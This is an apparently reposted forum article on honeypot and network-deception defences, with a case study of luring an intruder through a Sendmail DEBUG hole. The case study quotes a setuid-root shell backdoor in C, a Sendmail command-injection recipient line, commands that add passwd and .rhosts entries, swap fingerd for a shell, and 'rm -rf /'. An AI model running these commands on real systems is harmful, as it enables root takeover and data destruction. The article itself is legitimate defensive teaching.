史萊姆論壇

返回   史萊姆論壇 > 教學文件資料庫 > 網路軟硬體架設技術文件
忘記密碼?
論壇說明 標記討論區已讀

歡迎您來到『史萊姆論壇』 ^___^

您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的!

請點擊這裡:『註冊成為我們的一份子!』

Google 提供的廣告


 
 
主題工具 顯示模式
舊 2006-03-11, 10:43 PM   #1
psac
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設 ZT網路欺騙方法及攻防實例

ZT網路欺騙方法及攻防實例

誘敵深入是一門很實用的戰術,古今中外,很多軍事家、政治家、企業家都對這個戰術津津樂道,在網路攻防中也不例外,系統管理員也會用到這樣的戰術。由於每個網路系統都有安全方面的弱點,如果它的價值很高的話,這些弱點就有可能被入侵者利用。





通常,人們會主動去彌補這些漏洞或者缺陷,如果系統管理員有一手的話,完全可以使入侵者相信系統存在安全缺陷,並將其引向這些錯誤的資源,也就是「誘敵深入」。



當然,也需要在「知己知彼」的基礎上才能「百戰百勝」。管理員還可以跟蹤入侵者的行為,在入侵者之前修補系統可能存在的安全漏洞。這可以形象地比喻為「牽著牛鼻子走路」。



一、網路欺騙方法探幽
網路管理員和入侵者在工作上永遠是不相容的兩個派別,至於工作之外是什麼角色就不好說了。實踐程序中,我們可以用逆向的思維來猜測入侵者的進攻技術和意圖,牽著他的「牛鼻子」,按照我們給他設計好的意志進行選項,並且逐步消耗他的資源。




這樣,就會使入侵者感到要達到期望的目標還是具有一定挑戰性的。一般來說,網路欺騙的方法可以從以下幾個方面來考慮。



1、誘餌:Honey Pot和分佈式Honey Pot
最早採用的網路欺騙是Honey Pot技術,Honey Pot就像一個誘餌,它將少量的有吸引力的目標(即Honey Pot)放在讓入侵者很容易發現的地方,使之落入圈套。




其中採用的技術手段很多,通常包括安插錯誤訊息和隱藏等。



前者包括重轉發IP路由、偽造假訊息和設定圈套,後者包括隱藏服務、多路徑和維護安全狀態訊息機密性。這樣就可以使入侵者將技術、精力集中到Honey Pot而不是其他真正有價值的正常系統和資源中,因此這個誘餌必須做的盡量「美味、可口」。

儘管Honey Pot技術可以迅速切換,但是,對稍進階的網路入侵,Honey Pot技術就作用甚微了。



因此,分佈式Honey Pot技術便應運而生,它將欺騙(Honey Pot)散佈在網路的正常系統和資源中,利用閒置的服務連接阜來充當欺騙,從而增大了入侵者遭遇欺騙的可能性。分佈式Honey Pot技術有兩個直接的效果,首先是將欺騙分佈到更廣範圍的IP位址和連接阜空間中,其次是增大了欺騙在整個網路中的百分比,使得欺騙比安全弱點被入侵者掃瞄器發現的可能性增大。

分佈式Honey Pot技術也不是十全十美的,它的局限性體現在三個方面:一是它對窮盡整個空間搜尋的網路掃瞄無效;二是只提供了相對較低的欺騙品質;三是只相對使整個搜尋空間的安全弱點減少。






而且,這種技術的一個更為嚴重的缺陷是它只對遠端掃瞄有效。如果入侵已經部分進入到網路系統中,處於觀察(如嗅探)而非主動掃瞄階段時,真正的網路服務對入侵者已經透明,那麼這種欺騙將失去作用。



2、真假「李逵」:空間欺騙技術
電腦系統具有多宿主能力(multi-homed capability),就是在只有一塊乙太網卡的電腦上能實現具有眾多IP位址的主機,實際上,現在已有研究機構能將超過4000個IP位址綁定在一台執行Linux的PC上,而且每個IP位址還具有它們自己的MAC位址。



這項技術可用於建立填充一大段位址空間的欺騙,且花費極低。欺騙空間技術就是通過增加搜尋空間來顯著地增加入侵者的工作量,從而達到安全防護的目的。這樣許許多多不同的欺騙,就可以在一台電腦上實現。當入侵者的掃瞄器訪問到網路系統的外部路由器並探測到這一欺騙服務時,還可將掃瞄器所有的網路流量重轉發IP到欺騙上,使得接下來的遠端訪問變成這個欺騙的繼續。

從防護的效果上看,將網路服務放置在所有這些IP位址上將毫無疑問地增加了入侵者的工作量,因為他們需要決定哪些服務是真正的,哪些服務是偽造的,特別是這樣的4萬個以上IP位址都放置了偽造網路服務的系統。




而且,在這種情況下,欺騙服務相對更容易被掃瞄器發現,通過誘使入侵者上當,增加了入侵時間,從而大量消耗入侵者的資源,使真正的網路服務被探測到的可能性大大減小。

當然,採用這種欺騙時網路流量和服務的重轉發IP必須嚴格保密,因為一旦暴露就將招致攻擊,從而導致入侵者很容易將任一已知有效的服務和這種用於測試入侵者的掃瞄探測及其回應的欺騙區分開來。




3、用戶訊息迷惑:組織訊息欺騙和多重位址轉換
面對網路攻擊技術的不斷提高,一種網路欺騙技術肯定不能做到總是成功,必須不斷地提高欺騙品質,才能使入侵者難以將合法服務和欺騙區分開來。多重位址轉換和組織訊息欺騙能有效地迷惑對手。

如果組織的DNS伺服器包含了個人系統擁有者及其位置的詳細資料,那麼你就需要在欺騙的DNS列表中具有偽造的擁有者及其位置,否則欺騙很容易被發現。




而且,偽造的人和位置也需要有偽造的訊息如薪水、預算和個人記錄等等。因此,如果某個組織提供有關個人和系統資訊的訪問,那麼欺騙也必須以某種方式反映出這些訊息。

另外,在訊息迷惑上,位址的多次轉換能將欺騙網路和真實網路分離開來,這樣就可利用真實的電腦取代低可信度的欺騙,增加了間接性和隱蔽性。其基本的概念就是重轉發IP代理服務(通過改寫代理伺服器程序實現),由代理服務進行位址轉換,使相同的源和目的位址像真實系統那樣被維護在欺騙系統中。






4、網路訊息迷惑:網路動態組態和網路流量模擬
真實網路是隨時間而改變的,如果欺騙是靜態的,那麼在入侵者長期監視的情況下就會導致欺騙無效。因此,需要動態組態欺騙網路以模擬正常的網路行為,使欺騙網路也像真實網路那樣隨時間而改變。為使之有效,欺騙特性也應該能盡可能地反映出真實系統的特性。




例如,如果辦公室的電腦在下班之後關機,那麼欺騙電腦也應該在同一時刻關機。其他的如假期、週末和特殊時刻也必須考慮,否則入侵者將很可能發現欺騙。

產生模擬流量的目的是使流量分析不能檢測到欺騙。




在欺騙系統中產生模擬流量有兩種方法。一種方法是採用既時方式或重現方式複製真正的網路流量,這使得欺騙系統與真實系統十分相似,因為所有的訪問連接都被複製了;還有一種方法是從遠端產生偽造流量,使入侵者可以發現和利用。

在欺騙與被欺騙的程序中,對雙方的智力考驗要求是很高的。如果在其中某個環節的判斷上出了問題,就可能反而陷入別人的圈套。




因此,必須對相關的欺騙手法有一定的瞭解,這樣就能在實踐操作中做出準確的判斷。下面,我們來看一個「誘敵深入」的攻防實踐。




二、欺騙實例之「誘敵深入」
相信很多朋友都知道,郵件伺服器軟體Sendmail中有個安全漏洞,入侵者如果熟悉郵件伺服器軟體Sendmail,他肯定會試探著攻擊。




據說只要收到被做過手腳的郵件,郵件伺服器設備管理員的權限就有可能被篡奪。由於可以通過郵件進行攻擊,因此很難用防火牆等防範。尤其是基本上所有版本的Sendmail都受到影響,因此我們決定使用郵件伺服器軟體Sendmail作為誘餌。



在這個實例中,將會使用到上面所介紹的一些欺騙技術。



1、關於Sendmail的一些知識
Sendmail作為 Linux、BSD和其他Unix平台的「標配」,被廣泛使用。使用Sendmail很重要的一條是,必須記得隨時瞭解他的站點動態,在http://www.sendmail.org這個網站公佈了關於sendmail的一些最新版本和相關資訊,http://www.sendmail.org/8.13.0.Alpha0.html是目前的最新測試版本。作為一個相當普及的軟體,再加上眾多的相關軟體支持,組態Sendmail可以算得上系統管理員的基本技能之一了。




Sendmail 主要的組態文件如下:
/etc/sendmail.cf是Sendmail 核心組態文件;
/etc/aliases是郵件別名文件;
/etc/mail/relay-domains用於設定可RELAY的域名;
/etc/mail/access用來設定處理來信的方式如RELAY等;
在預設情況下,也就是安裝Sendmail伺服器不做任何設定的情況下,則只能在本地機上收發郵件,網路上其它主機不能向該SMTP伺服器傳送郵件。關於Sendmail的具體安裝組態程序,我們可以通過http://www.worldhello.net/doc/email_howto/sendmail.html這個網址得到比較滿意的答案。





2、序幕
為了給黑客們一個驚喜,我們故意留出了一個DUBUG漏洞,張開網後,就等魚兒上鉤了。大概一個多月都沒有動靜,終於,在我們無意中間接公佈了一些系統的消息後,發現系統出了異常的日誌是在2004年2月14日,可能是由於情人節的落寞想找個地方來發洩,一個黑客發現了我們公佈的電腦的漏洞,試圖獲得我們的password文件,順水推舟,我們就給他送了一份人情,很快我們就發現在密碼文件 passwd 中增加了一個 UID 為 0 的帳號。

這個黑客十分有耐心,手段也很高明。一切在意料之中,我們在機器的/tmp目錄下又發現了一個程序,而且只要執行這個程序,就會輕易得到用戶權限。根據我們自己掌握的情況,這種方法在網上幾乎是最受歡迎的了。




不過,對於系統用戶來說,定期清理/tmp下的文件是很正常的,因此即使我們清理這個文件,他也不會感到意外。我們開啟在 /tmp 目錄下放置 的C源程序進行了研究:
<++> backdoor/backdoor2.c
#include
main()
{
system("cp /bin/sh /tmp/fid");
system("chown root.root /tmp/fid");
system("chmod 4755 /tmp/fid");
}
<-->


很明顯,這是一個後門程序,通過這個程序可以獲得一些關於根用戶的相關內容,這對黑客來說是一個刺激,對我們管理員來說,既然要「誘敵深入」做個測試,就肯定也存在一定挑戰了。


而現在我們所要做的,就是引誘一個黑客到一個我們設計好的環境中,記錄下來他的所有動作,研究其行為,並提醒他的下一個目標作出防範。除了在電腦上設定記錄日誌並隱藏這些日誌,我們還增加了一些虛假的服務在系統上。




由於每天定時產生的日誌量非常大,為了有針對地瞭解攻擊動向,我們做了一個script文件用來檢索每天的日誌。其中,我們主要檢查以下幾點:

Telnet/login服務檢查:如果有黑客試圖進入我們的系統,他肯定要嘗試很多帳戶和密碼,這樣他的一舉一動都會被我們記錄下來。



當然,由於試探的人比較多,五花八門三教九流,水準太次的人我們是不會給他機會的。


然後就是探測Guest / visitor 帳號,黑客們第一個尋找的就是公用帳號。這些帳號提供了友好的、最輕易地獲取幾乎系統的所有文件的機會,包括passwd文件。黑客也可以通過獲取/etc/hosts.equiv文件或每個用戶的.rhosts文件來獲得機器的信任主機列表。

FTP服務檢索:檢索的工具會報告每天所有註冊和試圖註冊的用戶名。我們偽造了一個passwd文件,獲取passwd的人通常用它來獲得系統的正式用戶的註冊名稱,然後攻擊、破解其密碼。

SMTP DEBUG:這個指令提供了兩個守候sendmail的漏洞的陷阱。雖然幾乎所有的產品出售商都清除了這個漏洞,但偶爾仍有黑客嘗試它。




這個漏洞允許外部的使用者使用一段以root權限執行的script。當有些人嘗試這個漏洞時,我就獲得了他嘗試的script程式碼。



Finger:Finger提供了大量有用的訊息給黑客:帳號名,該帳號的最後一次使用時間,以及一些可以用來猜測密碼的訊息。由於我們的組織不允許提供這些訊息給別人,我們置入了一個程序,在finger了fingerd的使用者後拒絕figner請求。




(當然我們會避免對來自自己的finger訊息的死循環)。報告表明每天有數以十計的finger請求,其中大部分是合法的。很多探測器都使用figner指令來查明使用的機器和使用者。
3、較量
設定好上面的服務以後,由於我們的目標有點暴露,因此被攻擊率比較高。但是,當一個遠端使用者取走passwd文件時,並不是所有的人都出於惡意的目的。就像我們生活在大千世界一樣,每個人的想法不一定相同。從這些日誌所記錄的事件裡面,我們可以發現很多人的不同心理,或善意,或好奇,或者出於成就感。為了給黑客一個提醒,我們設定了一個自動回信,大致內容是:

「如果你到了這個地方,就已經很不錯了,如果你希望繼續,我們也可以陪你玩玩。如果我們現在正看著你的操作,感覺如何?」。
不過,對於高手來說,這招並不一定能奏效。下面的日誌,記錄了兩個郵件傳送器的相互對話,整個心理程序可以從中窺探出來。
00:43:10 smtpd[27466]: <--- 220 xxx.xxx.com SMTP
00:43:14 smtpd[27466]: -------> debug
00:43:14 smtpd[27466]: DEBUG attempt
00:43:14 smtpd[27466]: <--- 200 OK
00:43:25 smtpd[27466]: -------> mail from:
00:43:25 smtpd[27466]: <--- 503 Expecting HELO
00:43:34 smtpd[27466]: -------> helo
00:43:34 smtpd[27466]: HELO from
00:43:34 smtpd[27466]: <--- 250 xxx.xxx.com
00:43:42 smtpd[27466]: -------> mail from:
00:43:42 smtpd[27466]: <--- 250 OK
00:43:59 smtpd[27466]: -------> rcpt to: 00:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name
00:44:44 smtpd[27466]: -------> rcpt to:<|sed -e 』1,/?$/』d | /bin/sh ; exit 0">
00:44:44 smtpd[27466]: shell characters: |sed -e 』1,/?$/』d | /bin/sh ; exit 0"
00:44:45 smtpd[27466]: <--- 250 OK
00:44:48 smtpd[27466]: -------> data
00:44:48 smtpd[27466]: <--- 354 Start mail input; end with .
00:45:04 smtpd[27466]: <--- 250 OK
00:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security
00:45:08 smtpd[27466]: -------> quit
00:45:08 smtpd[27466]: <--- 221 xxx.xxx.com Terminating
00:45:08 smtpd[27466]: finished.

這是我們對SMTP程序的日誌。在這個例子中,另一端是由人來按鍵輸入指令。入侵者嘗試的第一個指令是DEBUG。當他接收的「250 OK」的回應時一定很驚奇。關鍵的行是「rcpt to :」。在尖括號括起的部分通常是一個郵件接收器的位址。這裡它包含了一個指令行。在DEBUG模式下,Sendmail可以用它來以ROOT身份執行一段指令。即:
sed -e 』1,/?$/』d | /bin/sh ; exit 0"
它去掉了郵件標題的訊息,並使用ROOT身份執行了消息體,這樣可以隱藏一些關於他的訊息。之後,這個入侵者試探著從我們的伺服器上取得一些密碼和賬戶文件,於是我們編造了一份假文件,給他發過去,密文破解後的意思是:「小心玩火自焚!」。




4、尋蹤
這樣幾天沒有動靜,估計這個入侵者不死心,在考慮該怎麼來修改密碼文件了。其實,到這一步,我們完全可以把機器的修正檔打上,不過,玩就要玩個痛快。不過,我們也在納悶,這個入侵者不會知難而退了吧,還是有其他的工作在忙呢?靜悄悄的,我們等待著。




星期五的晚上,一個難得的週末。機房監控的終端報告有安全事件,我們的入侵檢測系統也時不時地報告有些錯誤發生。核對日誌後,我們發現,有人試圖使用DEBUG來用ROOT身份執行指令,也就是說,他試圖修改我們的密碼文件,一切盡在不言中,我不得不佩服這個入侵者的耐心和智慧!檢視日誌,我們發現,這次入侵同樣是來自上次的連接:hust.whnet.edu。我們開始思考:現在到底是「誘敵深入」?還是「引狼入室」?從感覺來看,這個黑客比我們想像中的要厲害,而且他對現在的系統和系統漏洞相當的瞭解。難道我們要做的就是「拔掉網線」嗎?思索中,一切仍然在進行中。

出於真實性考慮,我們在採取一些訊息迷惑的同時,也公佈了一些讓黑客進入的誘餌。其中ftp的passwd是真實的,另外還產生了一個帳號,但卻使它不可操作。同時,又要讓入侵者以為他自己已經改變了passwd文件,但卻不急於讓他進來。因此還需要給這個入侵者創造一定的條件。於是,我產生了一個臨時帳號c,當它被使用時就會給我發信,為了保險起見,我把c帳號在實際passwd文件中改成了cndes,當我作完後,這個入侵者繼續嘗試:

00:44 echo "cndes 1:1::/:/bin/sh" >> /etc/passwd
他嘗試了幾個指令,但是沒有成功,終於他發現了cndes這個帳號,於是產生了下面的日誌:
00:51 Attempt to login to inet with cndes from hust.whnet.edu
00:51 Attempt to login to inet with cndes from hust.whnet.edu
00:55 echo "cndes 3:1::/tmp:/bin/sh" >> /etc/passwd
00:57 (Added cndes to the real password file.)
00:58 Attempt to login to inet with cndes from hust.whnet.edu
00:58 Attempt to login to inet with cndes from hust.whnet.edu
01:05 echo "36.92.0.205" >/dev/null
echo "36.92.0.205 hust.whnet.edu">>/etc./?H?H?H
01:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
01:06 echo "36.92.0.205 hust.whnet.edu" >> /etc/hosts
01:08 echo "hust.whnet.edu cndes">>/tmp/.rhosts

這時,這個入侵者的活動又轉到了ftp上:
Feb 20 01:36:48 inet ftpd[14437]: <--- 220 inet FTP server
(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
Feb 20 01:36:55 inet ftpd[14437]: -------> user cndes?M
Feb 20 01:36:55 inet ftpd[14437]: <--- 331 Password required for cndes.
Feb 20 01:37:06 inet ftpd[14437]: -------> pass?M
Feb 20 01:37:06 inet ftpd[14437]: <--- 500 』PASS』: command not understood.
Feb 20 01:37:13 inet ftpd[14437]: -------> pass?M
Feb 20 01:37:13 inet ftpd[14437]: <--- 500 』PASS』: command not understood.
Feb 20 01:37:24 inet ftpd[14437]: -------> HELP?M
Feb 20 01:37:24 inet ftpd[14437]: <--- 214- The following commands are
recognized (* =>』s unimplemented).
Feb 20 01:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
Feb 20 01:37:31 inet ftpd[14437]: -------> QUIT?M
Feb 20 01:37:31 inet ftpd[14437]: <--- 221 Goodbye.
Feb 20 01:37:31 inet ftpd[14437]: Logout, status 0
Feb 20 01:37:31 inet inetd[116]: exit 14437
Feb 20 01:37:41 inet inetd[116]: finger request from 202.103.0.117 pid 14454
Feb 20 01:37:41 inet inetd[116]: exit 14454
01:38 finger attempt on cndes
01:48 echo "36.92.0.205 hust.whnet.edu" >> /etc/hosts.equiv
01:53 mv /usr/etc/fingerd /usr/etc/fingerd.b
cp /bin/sh /usr/etc/fingerd

看的出,他在這方面是很在行的,幸運的是,他只是破壞了我們模擬電腦上的finger而已,並沒有將之取代成一個shell程序。我關閉了實際fingerd程序。黑客的活動仍然在繼續,摘錄的相關日誌如下:
01:57 Attempt to login to inet with cndes from hust.whnet.edu
01:58 cp /bin/csh /usr/etc/fingerd
02:07 cp /usr/etc/fingerd.b /usr/etc/fingerd

按照他的意思,fingerd現在重新開始工作。現在他試圖修改password,不過,這永遠不會成功,因為passwd的輸入是/dev/tty,而不是sendmail所執行的shell script。攻擊在繼續中:
02:16 Attempt to login to inet with cndes from hust.whnet.edu
02:17 echo "/bin/sh" > /tmp/Shell
chmod 755 /tmp/shell
chmod 755 /tmp/Shell
02:19 chmod 4755 /tmp/shell
02:19 Attempt to login to inet with cndes from hust.whnet.edu
02:19 Attempt to login to inet with cndes from hust.whnet.edu
02:21 Attempt to login to inet with cndes from hust.whnet.edu
02:21 Attempt to login to inet with cndes from hust.whnet.edu

又是一番折騰,連續的戰鬥,已經讓我們疲憊不堪了,不過,這位入侵者也應該很疲憊了。突然,我發現了一個新的日誌:
02:55 rm -rf /&
看來他試圖移除所有進入的痕跡,估計他很累了。


但是,對於這個黑客來說,「沒有進行破壞」是說不過去的,根據電腦安全的基本原則,
當資料的"完整性、可用性和機密性"中任意三者之一在受到破壞的時候,都應視為安全受到了破壞。在實際情況中,間諜們只是默默地拿走你的資料而絕不做任何的破壞,而且盡最大可能地掩蓋自己行動的痕跡。這些黑客希望長時間大量地得到珍貴的資料而不被發覺,這其實是最可怕的一種攻擊行為。看來,今天碰到的這個黑客確實很職業,不過,他沒有意識到我們給他佈置的「局」,徒勞的長時間攻擊之後,他選項了結束。我們也很累了,不過,現在最要緊的,就是馬上恢復並且馬上打上最新的sendmail系統修正檔了。




隨著電腦安全技術的發展,電腦網路將日益成為工業、農業和國防等方面的重要訊息交換手段,滲透到社會生活的各個領域。因此,認清網路的脆弱性和潛在威脅,採取強有力的安全原則,對於保障網路的安全性將變得十分重要。


同時,電腦網路技術目前正處於蓬勃發展的階段,新技術層出不窮,其中也不可避免地存在一些漏洞,因此,進行網路防範要不斷追蹤新技術的套用情況,同時要把握黑客的心理,做到「知己知彼,百戰不殆」,從而逐漸完善自身的防禦措施。
__________________
http://bbsimg.qianlong.com/upload/01/08/29/68/1082968_1136014649812.gif
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
 


主題工具
顯示模式

發表規則
不可以發文
不可以回覆主題
不可以上傳附加檔案
不可以編輯您的文章

論壇啟用 BB 語法
論壇啟用 表情符號
論壇啟用 [IMG] 語法
論壇禁用 HTML 語法
Trackbacks are 禁用
Pingbacks are 禁用
Refbacks are 禁用


所有時間均為台北時間。現在的時間是 02:15 AM


Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2024, Jelsoft Enterprises Ltd.


SEO by vBSEO 3.6.1